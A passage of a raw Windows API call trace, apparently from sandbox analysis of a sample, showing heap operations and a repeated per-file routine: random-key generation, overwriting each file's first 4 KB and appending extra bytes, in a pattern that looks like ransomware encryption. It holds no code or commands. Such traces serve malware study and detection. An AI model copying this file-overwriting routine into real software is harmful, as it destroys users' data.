lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.198] GetProcessHeap () returned 0x540000 [0089.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.199] GetProcessHeap () returned 0x540000 [0089.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.199] GetProcessHeap () returned 0x540000 [0089.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.199] GetProcessHeap () returned 0x540000 [0089.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.199] GetProcessHeap () returned 0x540000 [0089.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.199] GetProcessHeap () returned 0x540000 [0089.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.199] GetProcessHeap () returned 0x540000 [0089.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.199] GetProcessHeap () returned 0x540000 [0089.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.199] GetProcessHeap () returned 0x540000 [0089.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.199] GetProcessHeap () returned 0x540000 [0089.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.199] GetProcessHeap () returned 0x540000 [0089.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.199] GetProcessHeap () returned 0x540000 [0089.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.199] GetProcessHeap () returned 0x540000 [0089.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.199] GetProcessHeap () returned 0x540000 [0089.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.199] GetProcessHeap () returned 0x540000 [0089.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.199] GetProcessHeap () returned 0x540000 [0089.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.200] GetProcessHeap () returned 0x540000 [0089.200] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.200] GetProcessHeap () returned 0x540000 [0089.200] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.200] GetProcessHeap () returned 0x540000 [0089.200] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.200] GetProcessHeap () returned 0x540000 [0089.200] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.200] GetProcessHeap () returned 0x540000 [0089.200] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.200] GetProcessHeap () returned 0x540000 [0089.200] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.200] GetProcessHeap () returned 0x540000 [0089.200] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.200] GetProcessHeap () returned 0x540000 [0089.200] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.200] GetProcessHeap () returned 0x540000 [0089.200] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.200] GetProcessHeap () returned 0x540000 [0089.200] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.200] GetProcessHeap () returned 0x540000 [0089.200] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.200] GetProcessHeap () returned 0x540000 [0089.200] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.200] GetProcessHeap () returned 0x540000 [0089.200] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.200] GetProcessHeap () returned 0x540000 [0089.200] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.200] GetProcessHeap () returned 0x540000 [0089.200] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.201] GetProcessHeap () returned 0x540000 [0089.201] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0089.201] GetProcessHeap () returned 0x540000 [0089.201] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.201] GetProcessHeap () returned 0x540000 [0089.201] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.201] GetProcessHeap () returned 0x540000 [0089.201] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.201] GetProcessHeap () returned 0x540000 [0089.201] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.201] GetProcessHeap () returned 0x540000 [0089.201] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.201] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.201] WriteFile (in: hFile=0x9e8, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.201] WriteFile (in: hFile=0x9e8, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.201] GetProcessHeap () returned 0x540000 [0089.201] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.201] GetProcessHeap () returned 0x540000 [0089.201] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.201] GetProcessHeap () returned 0x540000 [0089.201] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.201] CloseHandle (hObject=0x9e8) returned 1 [0089.203] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 156 [0089.203] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.203] ReadFile (in: hFile=0x9ec, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.203] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.203] GetProcessHeap () returned 0x540000 [0089.203] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.203] GetProcessHeap () returned 0x540000 [0089.203] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.203] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.203] GetProcessHeap () returned 0x540000 [0089.203] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.203] ReadFile (in: hFile=0x9ec, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.250] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.250] WriteFile (in: hFile=0x9ec, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.251] GetProcessHeap () returned 0x540000 [0089.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.252] GetProcessHeap () returned 0x540000 [0089.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.253] GetProcessHeap () returned 0x540000 [0089.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.254] GetProcessHeap () returned 0x540000 [0089.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.254] GetProcessHeap () returned 0x540000 [0089.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.254] GetProcessHeap () returned 0x540000 [0089.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.254] GetProcessHeap () returned 0x540000 [0089.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.254] GetProcessHeap () returned 0x540000 [0089.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.254] GetProcessHeap () returned 0x540000 [0089.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.254] GetProcessHeap () returned 0x540000 [0089.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.254] GetProcessHeap () returned 0x540000 [0089.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.254] GetProcessHeap () returned 0x540000 [0089.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.254] GetProcessHeap () returned 0x540000 [0089.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.254] GetProcessHeap () returned 0x540000 [0089.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.254] GetProcessHeap () returned 0x540000 [0089.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.254] GetProcessHeap () returned 0x540000 [0089.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.254] GetProcessHeap () returned 0x540000 [0089.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.254] GetProcessHeap () returned 0x540000 [0089.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.255] GetProcessHeap () returned 0x540000 [0089.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.255] GetProcessHeap () returned 0x540000 [0089.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.255] GetProcessHeap () returned 0x540000 [0089.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.255] GetProcessHeap () returned 0x540000 [0089.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0089.255] GetProcessHeap () returned 0x540000 [0089.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.255] GetProcessHeap () returned 0x540000 [0089.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.255] GetProcessHeap () returned 0x540000 [0089.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.255] GetProcessHeap () returned 0x540000 [0089.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.255] GetProcessHeap () returned 0x540000 [0089.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.255] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.255] WriteFile (in: hFile=0x9ec, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.255] WriteFile (in: hFile=0x9ec, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.255] GetProcessHeap () returned 0x540000 [0089.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.255] GetProcessHeap () returned 0x540000 [0089.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.255] GetProcessHeap () returned 0x540000 [0089.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.256] CloseHandle (hObject=0x9ec) returned 1 [0089.257] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 157 [0089.257] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.257] ReadFile (in: hFile=0x9f0, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.257] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.257] GetProcessHeap () returned 0x540000 [0089.257] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.257] GetProcessHeap () returned 0x540000 [0089.257] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.257] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.257] GetProcessHeap () returned 0x540000 [0089.257] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.257] ReadFile (in: hFile=0x9f0, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.313] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.313] WriteFile (in: hFile=0x9f0, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.313] GetProcessHeap () returned 0x540000 [0089.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.313] GetProcessHeap () returned 0x540000 [0089.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.313] GetProcessHeap () returned 0x540000 [0089.313] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.313] GetProcessHeap () returned 0x540000 [0089.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, 